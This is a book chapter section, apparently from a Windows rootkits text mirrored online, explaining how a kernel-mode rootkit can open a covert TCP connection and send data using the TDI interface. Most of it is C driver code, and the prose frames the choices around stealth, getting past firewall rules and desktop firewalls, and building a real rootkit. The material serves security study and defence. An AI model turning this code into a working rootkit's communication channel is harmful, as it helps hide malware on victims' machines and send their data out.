Kernel TCPIP Support for Your Rootkit Using TDI

 < Day Day Up > 

Kernel TCP/IP Support for Your Rootkit Using TDI

All this talk about TCP/IP naturally leads us to some code. In a Microsoft Windows environment, you basically have two modes in which to write networking code: user mode and kernel mode. The advantage of user mode is that it's easier, but a downside is that it's more visible. With kernel mode, the advantage is more stealth, but the downside is complexity. In the kernel, you don't have as many built-in functions available to you and you must do more stuff "from scratch." In this section, we focus primarily on the kernel-mode approach.

In a kernel-mode approach, the two major interfaces are TDI and NDIS. TDI has the advantage of using the existing TCP/IP stack on the machine. This makes using TCP/IP easier, because you don't have to write your own stack.

On the other hand, a desktop firewall can detect a TCP/IP-embedded communication. With NDIS, you can read and write raw packets to the network and can bypass some firewalls, but on the downside you will need to implement your own TCP/IP stack if you want to use the protocol.

Build the Address Structure

Your rootkit lives in a networked world, so naturally, it should be able to communicate with the network. Unfortunately, the kernel doesn't offer easy-to-use TCP/IP sockets. Libraries are available, but these are commercial packages that cost money. They might also be traceable. You don't need these expensive packages to use TCP/IP in the kernel, of course, but they may be the easiest solutions.

For the do-it-yourself programmer, there is a kernel library that supports TCP/IP functionality, and you can work with it from a kernel-mode device driver. Device drivers can call functions in other drivers; this how you can use TCP/IP from your rootkit.

The TCP/IP services are available from a driver which exposes several devices that have names like /device/tcp and /device/udp. Sound interesting? It is if you need a sockets-like interface from kernel mode.

The Transport Data Interface (TDI) is a specification for talking to a TDI-compliant driver. We are concerned with the TDI-compliant driver in the Windows kernel that exposes TCP/IP functionality. Unfortunately, as of this writing there is no decent example code or documentation you can download to illustrate how to use this TCP/IP functionality. One problem with TDI is that it's so flexible and generic that most documentation on the subject is broad and confusing.

In our discussion focusing on TCP/IP, we have created an example that will ease you into TDI programming.

The first step in programming a TDI client is to build an address structure. The address structure is very much like the structures used in user-mode socket programming. In our example, we make a request to the TDI driver to build this structure for us. If the request is successful, we are returned a handle to the structure. This technique is very common in the driver world: Instead of allocating the structure ourselves, we make a request to another driver, which then builds the structure for us and returns a handle (pointer) to the structure.

To build an address structure, we open a file handle to /device/tcp, and we pass some special parameters to it in the open call. The kernel function we use is called ZwCreateFile. The most important argument to this call is the extended attributes (EA).[12] Within the extended attributes, we pass important and unique information to the driver (see Figure 9-2).

[12] Extended attributes are used mostly by file-system drivers.

Figure 9-2. Driver A makes request to Driver B via the ZwCreateFile call. The extended attributes structure contains the details of the request. The returned file handle is actually a handle to an object built by the lower-level driver.


This is where some documentation can be helpful. The use of the extended attributes argument is unique and specific to the driver in question. In this case, we are to pass information about the IP address and TCP port we want to use for covert communication. The Microsoft DDK documents this, although the documentation isn't very straightforward, and there is no example code.

The extended-attribute argument is a pointer to a structure. The structure is of type FILE_FULL_EA_INFORMATION. This structure is documented in the DDK.

The structure looks like this:

 typedef struct _FILE_FULL_EA_INFORMATION { ULONG  NextEntryOffset; UCHAR  Flags; UCHAR  EaNameLength; USHORT  EaValueLength; CHAR  EaName[1]; } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 

Create a Local Address Object

Now it's time to create an address object. The address object is associated with an endpoint so that communication can begin. The address object is constructed using the extended attributes field of the ZwCreateFile call. The filename used in this call is \Device\Tcp:

 #define DD_TCP_DEVICE_NAME    L"\\Device\\Tcp"    UNICODE_STRING         TDI_TransportDeviceName;    // Build Unicode transport device name.    RtlInitUnicodeString(&TDI_TransportDeviceName,                         DD_TCP_DEVICE_NAME ); 

Next we initialize the object attributes structure. The most important part of this structure is the transport-device name. We also specify that the string should be treated as case-insensitive. If the target system is Windows 2000 or greater, we should also specify OBJ_KERNEL_HANDLE.

It is always good practice to ASSERT the required IRQ level for the call you're making. This allows your debug version of the driver to throw an assertion if you have not managed your IRQ levels properly.

    OBJECT_ATTRIBUTES           TDI_Object_Attr; // Create object attribs.    // Must be called at PASSIVE_LEVEL.    ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );    InitializeObjectAttributes(&TDI_Object_Attr,                               &TDI_TransportDeviceName,                      OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,                               0,                               0 ); 

Next we encounter the extended attributes structure. We specify a buffer large enough to hold the structure plus the TDI address. The structure has a NextEntryOffset field, which we set to zero to indicate that we are sending only one structure in the request. There is also a field called EaName, which we set to the constant TDI_TRANSPORT_ADDRESS. This constant is defined as the string "TransportAddress" in TDI.h.

The FILE_FULL_EA_INFORMATION structure looks like this:

 typedef struct _FILE_FULL_EA_INFORMATION { ULONG  NextEntryOffset; UCHAR  Flags; UCHAR  EaNameLength; USHORT  EaValueLength; CHAR  EaName[1];        set this to TDI_TRANSPORT_ADDRESS                followed by an TA_IP_ADDRESS } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 

And the code that initializes it:

    char   EA_Buffer[sizeof(FILE_FULL_EA_INFORMATION) +                     TDI_TRANSPORT_ADDRESS_LENGTH + sizeof(TA_IP_ADDRESS)];    PFILE_FULL_EA_INFORMATION   pEA_Buffer = (PFILE_FULL_EA_INFORMATION)EA_Buffer;    pEA_Buffer->NextEntryOffset = 0;    pEA_Buffer->Flags = 0; 

The EaNameLength field receives the TDI_TRANSPORT_ADDRESS_LENGTH constant. This is the length of the TransportAddress string minus the NULL terminator. We are sure to copy the entire string, including the NULL terminator, when we initialize the EaName field:

       pEA_Buffer->EaNameLength = TDI_TRANSPORT_ADDRESS_LENGTH;       memcpy(pEA_Buffer->EaName,          TdiTransportAddress,          pEA_Buffer->EaNameLength + 1          ); 

The EaValue is a TA_TRANSPORT_ADDRESS structure that contains the local host IP address and the local TCP port to be used for the connection. It contains one or more TDI_ADDRESS_IP structures. If you are familiar with user-mode socket programming, you can think of the TDI_ADDRESS_IP structure as the kernel equivalent of the sockaddr_in structure.

It is best to let the underlying driver choose a local TCP port for you. This way, you never have to manage determining which ports are already in use. The only time the source port needs to be controlled is when connecting over a firewall that has filtering rules that can be defeated using a specific source port (port 80, 25, or 53).

We perform some pointer arithmetic to point to the EaValue location so that we can write the data. The pSin pointer makes it easy for us. We must be sure to set the EaValueLength field to the correct size.

The TA_IP_ADDRESS structure looks like this:

 typedef struct _TA_ADDRESS_IP {    LONG  TAAddressCount;    struct  _AddrIp {           USHORT          AddressLength;           USHORT          AddressType;           TDI_ADDRESS_IP  Address[1];    } Address [1]; } TA_IP_ADDRESS, *PTA_IP_ADDRESS; 

And the code that initializes it:

    PTA_IP_ADDRESS pSin;    pEA_Buffer->EaValueLength = sizeof(TA_IP_ADDRESS);    pSin = (PTA_IP_ADDRESS)   (pEA_Buffer->EaName +    pEA_Buffer->EaNameLength + 1);    pSin->TAAddressCount = 1;    pSin->Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;    pSin->Address[0].AddressType = TDI_ADDRESS_TYPE_IP; 

Note: In order to get the underlying driver to choose a source port for us, we supply a desired source port of zero. Be sure to close your ports when you are done with them, or the system will eventually run out of ports! We also set the source address to 0.0.0.0 so that the underlying driver will fill in the local host IP address for us:

    pSin->Address[0].Address[0].sin_port = 0;    pSin->Address[0].Address[0].in_addr = 0;    // Ensure remainder of structure is zeroes.    memset(   pSin->Address[0].Address[0].sin_zero,          0,          sizeof(pSin->Address[0].Address[0].sin_zero)          ); 

After all that setup, we finally make the ZwCreateFile call. Remember to always ASSERT the correct IRQ level.

    NTSTATUS status; ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );    status = ZwCreateFile(                        &TDI_Address_Handle,                        GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE,                        &TDI_Object_Attr,                        &IoStatus,                        0,                        FILE_ATTRIBUTE_NORMAL,                        FILE_SHARE_READ,                        FILE_OPEN,                        0,                        pEA_Buffer,                        sizeof(EA_Buffer)                       );    if(!NT_SUCCESS(status))    {       DbgPrint("Failed to open address object,                status 0x%08X",                status);       // TODO: free resources       return STATUS_UNSUCCESSFUL;    } 

We also get a handle to the object we just built. This is used in later function calls.

    ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );    status = ObReferenceObjectByHandle(TDI_Address_Handle,                                       FILE_ANY_ACCESS,                                       0,                                       KernelMode,                                       (PVOID *)&pAddrFileObj,                                       NULL ); 

That's it! We have now built an address object.

That was a lot of code for such a simple operation. However, once you get used to it, the process becomes routine.

The next sections show how to associate the address object with an endpoint and then to finally connect to a server.

Create a TDI Endpoint with Context

Creating a TDI endpoint requires another call to ZwCreateFile. The only change we make to our call is the location pointed to in our "magic" EA_Buffer. You can see that most of the arguments are passed in the EA structure. Our EA buffer should contain a pointer to a user-supplied structure known as the context structure. In our example, we set the context to a dummy value, because we aren't using it.

The FILE_FULL_EA_INFORMATION structure looks like this:

 typedef struct _FILE_FULL_EA_INFORMATION { ULONG  NextEntryOffset; UCHAR  Flags; UCHAR  EaNameLength; USHORT  EaValueLength; CHAR  EaName[1];      set this to "ConnectionContext" followed by a pointer to a user- defined structure. } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 

And the code that initializes it:

    // Per Catlin, microsoft.public.development.device.drivers,    // "question on TDI client, please do help," 2002-10-18.    ulBuffer =          FIELD_OFFSET(FILE_FULL_EA_INFORMATION, EaName) +          TDI_CONNECTION_CONTEXT_LENGTH + 1              +          sizeof(CONNECTION_CONTEXT);    pEA_Buffer = (PFILE_FULL_EA_INFORMATION)                  ExAllocatePool(NonPagedPool, ulBuffer);    if(NULL==pEA_Buffer)    {       DbgPrint("Failed to allocate buffer");       return STATUS_INSUFFICIENT_RESOURCES;    }    // Use name TdiConnectionContext, which    // is a string == "ConnectionContext":    memset(pEA_Buffer, 0, ulBuffer);    pEA_Buffer->NextEntryOffset = 0;    pEA_Buffer->Flags = 0;    // Don't include NULL in length.    pEA_Buffer->EaNameLength = TDI_CONNECTION_CONTEXT_LENGTH;    memcpy(   pEA_Buffer->EaName,          TdiConnectionContext,          // DO include NULL terminator in copy.          pEA_Buffer->EaNameLength + 1          ); 

The connection context is a user-supplied pointer. It can point to anything. This is typically used by driver developers to track the state associated with the connection. CONNECTION_CONTEXT is a pointer to a user-supplied structure. You can put whatever you want in your context structure.

Since we are dealing with only a single connection in our example, we don't need to keep track of anything, so we set the context to a dummy value:

    pEA_Buffer->EaValueLength = sizeof(CONNECTION_CONTEXT); 

Pay close attention to the very detailed pointer arithmetic in this statement:

 *(CONNECTION_CONTEXT*)( pEA_Buffer->EaName + (pEA_Buffer->EaNameLength + 1)) = (CONNECTION_CONTEXT) contextPlaceholder;    // ZwCreateFile must run at PASSIVE_LEVEL.    ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );    status = ZwCreateFile(                          &TDI_Endpoint_Handle,                          GENERIC_READ|GENERIC_WRITE|SYNCHRONIZE,                          &TDI_Object_Attr,                          &IoStatus,                        0,                        FILE_ATTRIBUTE_NORMAL,                        FILE_SHARE_READ,                        FILE_OPEN,                        0,                        pEA_Buffer,                        sizeof(EA_Buffer)                       );    if(!NT_SUCCESS(status))    {       DbgPrint("Failed to open endpoint, status 0x%08X", status);       // TODO, free resources       return STATUS_UNSUCCESSFUL;    }    // Get object handle.    // Must run at PASSIVE_LEVEL.    ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );    status = ObReferenceObjectByHandle(                 TDI_Endpoint_Handle,                 FILE_ANY_ACCESS,                 0,                 KernelMode,                 (PVOID *)&pConnFileObj,                 NULL                 ); 

Now that we have created an endpoint object, we must associate it with a local address. We have already created a local address object, so now we simply associate it with the new endpoint.

Associate an Endpoint with a Local Address

Having created both an endpoint object and a local address object, our next step is to associate them. An endpoint is worthless without an associated address. The address tells the system which local port and IP address you wish to use. In our example, we have configured the address so that the system will choose a local port for us (similar to the way you expect a socket to work).

Communication with the underlying driver will take place using IOCTL IRPs from this point forward. For each function we wish to call, we must first craft an IRP, fill it with arguments and data, and then pass it down to the next-lowest driver via the IoCallDriver() routine. After we pass each IRP, we must wait for it to complete. To do this, we use a completion routine. An event shared between the completion routine and the rest of our code allows us to wait for processing to complete.

    // Get the device associated with the address object -    // in other words, a handle to the TDI driver's    // device object    // (e.g., "\Driver\SYMTDI").    pTcpDevObj = IoGetRelatedDeviceObject(pAddrFileObj);    // Used to wait for an IRP below.    KeInitializeEvent(&AssociateEvent, NotificationEvent, FALSE);    // Build an IRP to make the association call.    pIrp = TdiBuildInternalDeviceControlIrp(                   TDI_ASSOCIATE_ADDRESS,                   pTcpDevObj,           // TDI driver's device object                   pConnFileObj,         // connection (endpoint) file object                   &AssociateEvent,      // event to be signalled when                                         // IRP completes &IoStatus                                         // I/O status block                                            );      if(NULL==pIrp)      {        DbgPrint( "Could not get an IRP for TDI_ASSOCIATE_ADDRESS");       return(STATUS_INSUFFICIENT_RESOURCES);     }     // adds some more data to the IRP     TdiBuildAssociateAddress( pIrp,                            pTcpDevObj,                            pConnFileObj,                            NULL,                            NULL,                            TDI_Address_Handle );     // Send a command to the underlying TDI driver.     // This is the essence of our communication     // channel to the underlying driver.     // Set our own completion routine.     // Must run at PASSIVE_LEVEL.     ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );     IoSetCompletionRoutine(                            pIrp,                            TDICompletionRoutine,                            &AssociateEvent, TRUE, TRUE, TRUE);     // Make the call.     // Must run at <= DISPATCH_LEVEL.     ASSERT( KeGetCurrentIrql() <= DISPATCH_LEVEL );     status = IoCallDriver(pTcpDevObj, pIrp);     // Wait on the IRP, if required.          if (STATUS_PENDING==status)     {        DbgPrint("Waiting on IRP (associate)...");       // Must run at PASSIVE_LEVEL.       ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );       KeWaitForSingleObject(                             &AssociateEvent,                             Executive,                             KernelMode,                             FALSE, 0);     }     if ( (STATUS_SUCCESS!=status)        &&        (STATUS_PENDING!=status))     {        // Something is wrong.        DbgPrint("IoCallDriver failed (associate),                 status 0x%08X", status);        return STATUS_UNSUCCESSFUL;     }     if ((STATUS_PENDING==status)        &&        (STATUS_SUCCESS!=IoStatus.Status))     {        // Something is wrong.        DbgPrint("Completion of IRP failed (associate), status 0x%08X",                 IoStatus.Status);        return STATUS_UNSUCCESSFUL;     } 

Connect to a Remote Server (Send the TCP Handshake)

Now that a local address is associated with the endpoint, we can create a connection to a remote address. The remote address is the IP address and port to which we want to connect. In our example, we connect to port 80 on IP address 192.168.0.10. Again, we use the completion routine to wait for the IRP to complete. When we call the lower driver, we should expect to see a TCP three-way handshake on the network. We can verify this with a packet sniffer.

    KeInitializeEvent(&ConnectEvent, NotificationEvent, FALSE);    // Build an IRP to connect to a remote host.    pIrp =    TdiBuildInternalDeviceControlIrp(            TDI_CONNECT,            pTcpDevObj,      // TDI driver's device object            pConnFileObj,    // connection (endpoint) file object            &ConnectEvent,   // event to be signalled                             // when IRP completes            &IoStatus        // I/O status block       );    if(NULL==pIrp)    {       DbgPrint("Could not get an IRP for TDI_CONNECT");       return(STATUS_INSUFFICIENT_RESOURCES);    }    // Initialize the IP address structure.    RemotePort = HTONS(80);    RemoteAddr = INETADDR(192,168,0,10);    RmtIPAddr.TAAddressCount = 1;    RmtIPAddr.Address[0].AddressLength = TDI_ADDRESS_LENGTH_IP;    RmtIPAddr.Address[0].AddressType = TDI_ADDRESS_TYPE_IP;    RmtIPAddr.Address[0].Address[0].sin_port = RemotePort;    RmtIPAddr.Address[0].Address[0].in_addr = RemoteAddr;    RmtNode.UserDataLength = 0;    RmtNode.UserData = 0;    RmtNode.OptionsLength = 0;    RmtNode.Options = 0;    RmtNode.RemoteAddressLength = sizeof(RmtIPAddr);    RmtNode.RemoteAddress = &RmtIPAddr;    // Add the IP connection data to the IRP.    TdiBuildConnect(                    pIrp,                    pTcpDevObj,   // TDI driver's device object                    pConnFileObj, // connection (endpoint) file object                    NULL,         // I/O completion routine                    NULL,         // context for I/O completion routine                    NULL,         // address of timeout interval                    &RmtNode,     // remote-node client address                    0             // (output) remote-node address                    );     // Set our own completion routine.     // Must run at PASSIVE_LEVEL.     ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );     IoSetCompletionRoutine(                            pIrp,                            TDICompletionRoutine,                            &ConnectEvent, TRUE, TRUE, TRUE);     // Make the call.     // Must run at <= DISPATCH_LEVEL.     ASSERT( KeGetCurrentIrql() <= DISPATCH_LEVEL );    // Send the command to the underlying TDI driver.    status = IoCallDriver(pTcpDevObj, pIrp);    // Wait on the IRP, if required.    if (STATUS_PENDING==status)    {       DbgPrint("Waiting on IRP (connect)...");       KeWaitForSingleObject(&ConnectEvent,                             Executive,                             KernelMode, FALSE, 0);                             }    if ( (STATUS_SUCCESS!=status)       &&       (STATUS_PENDING!=status))    {       // Something is wrong.       DbgPrint("IoCallDriver failed (connect), status 0x%08X", status);       return STATUS_UNSUCCESSFUL;    }    if ( (STATUS_PENDING==status)       &&       (STATUS_SUCCESS!=IoStatus.Status))    {       // Something is wrong.       DbgPrint("Completion of IRP failed (connect), status 0x%08X", IoStatus.Status);       return STATUS_UNSUCCESSFUL;    } 

It should be noted that the TCP connection can take some time to complete. Since we might be waiting on our completion event for a long while, and we should never block the thread when we are in DriverEntry, our example would be unsuitable for use in an actual rootkit. In the real world, you will need to rearchitect the driver so that a worker thread handles the TCP activity.

Send Data to a Remote Server

To complete the example, we will create instructions to send some data to the remote server. Again, this is performed using an IRP and a wait event. We first allocate some memory for the data to be sent to the remote server. We also lock this memory so that it will not be paged to disk.

    KeInitializeEvent(&SendEvent, NotificationEvent, FALSE);    SendBfrLength = strlen(SendBfr);    pSendBuffer = ExAllocatePool(NonPagedPool, SendBfrLength);    memcpy(pSendBuffer, SendBfr, SendBfrLength);    // Build an IRP to connect to a remote host.    pIrp = TdiBuildInternalDeviceControlIrp(                   TDI_SEND,                   pTcpDevObj,          // TDI driver's device object                   pConnFileObj,        // connection (endpoint) file object                   &SendEvent,          // event to be signalled when IRP completes                   &IoStatus            // I/O status block                   );    if(NULL==pIrp)    {       DbgPrint("Could not get an IRP for TDI_SEND");       return(STATUS_INSUFFICIENT_RESOURCES);    }     // This code is necessary if buffer is in the paged pool.     // Must run at <= DISPATCH_LEVEL.     /*ASSERT( KeGetCurrentIrql() <= DISPATCH_LEVEL );    pMdl = IoAllocateMdl(pSendBuffer, SendBfrLength, FALSE, FALSE, pIrp);    if(NULL==pMdl)    {       DbgPrint("Could not get an MDL for TDI_SEND");       return(STATUS_INSUFFICIENT_RESOURCES);    }    // Must run at < DISPATCH_LEVEL for pageable memory.    ASSERT( KeGetCurrentIrql() < DISPATCH_LEVEL );    __try    {       MmProbeAndLockPages(             pMdl,      // (Try to) fix buffer.             KernelMode,             IoModifyAccess );    }    __except(EXCEPTION_EXECUTE_HANDLER)    {       DbgPrint("Exception calling MmProbeAndLockPages");       return STATUS_UNSUCCESSFUL;    }    /*TdiBuildSend(                   pIrp,                   pTcpDevObj,     // TDI driver's device object                   pConnFileObj,   // connection (endpoint) file object                   NULL,           // I/O completion routine                   NULL,           // context for I/O completion routine                   pMdl,           // MDL address                   0,              // Flags. 0 => send as normal TSDU.                   SendBfrLength   // length of buffer mapped by MDL                   );    // Set our own completion routine.    // Must run at PASSIVE_LEVEL.    ASSERT( KeGetCurrentIrql() == PASSIVE_LEVEL );    IoSetCompletionRoutine(                           pIrp,                           TDICompletionRoutine,                           &SendEvent, TRUE, TRUE, TRUE);    // Make the call.    // Must run at <= DISPATCH_LEVEL.    ASSERT( KeGetCurrentIrql() <= DISPATCH_LEVEL );    // Send the command to the underlying TDI driver.    status = IoCallDriver(pTcpDevObj, pIrp);    // Wait on the IRP, if required.    if (STATUS_PENDING==status)    {       DbgPrint("Waiting on IRP (send)...");       KeWaitForSingleObject(                             &SendEvent,                             Executive, KernelMode, FALSE, 0);    }    if ( (STATUS_SUCCESS!=status)       &&       (STATUS_PENDING!=status))    {       // Something is wrong.       DbgPrint("IoCallDriver failed (send), status 0x%08X", status);       return STATUS_UNSUCCESSFUL;    }    if ((STATUS_PENDING==status)       &&       (STATUS_SUCCESS!=IoStatus.Status))    {       // Something is wrong.       DbgPrint("Completion of IRP failed (send), status 0x%08X", IoStatus.Status);       return STATUS_UNSUCCESSFUL;    } 

Again, the data-sending operation may take time to complete, so in a real-world driver, you would not want to block in the DriverEntry routine.

At this point, we've incorporated kernel support into our rootkit using TDI. This method is useful since the TDI layer handles the TCP/IP protocol for us. The downside is that it cannot easily evade desktop firewalls. It also doesn't allow us to perform low-level manipulation of packets. In the next section, we discuss strategies for raw packet manipulation.

     < Day Day Up > 


    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    Similar book on Amazon

    flylib.com © 2008-2017.
    If you may any questions please contact us: flylib@qtcs.net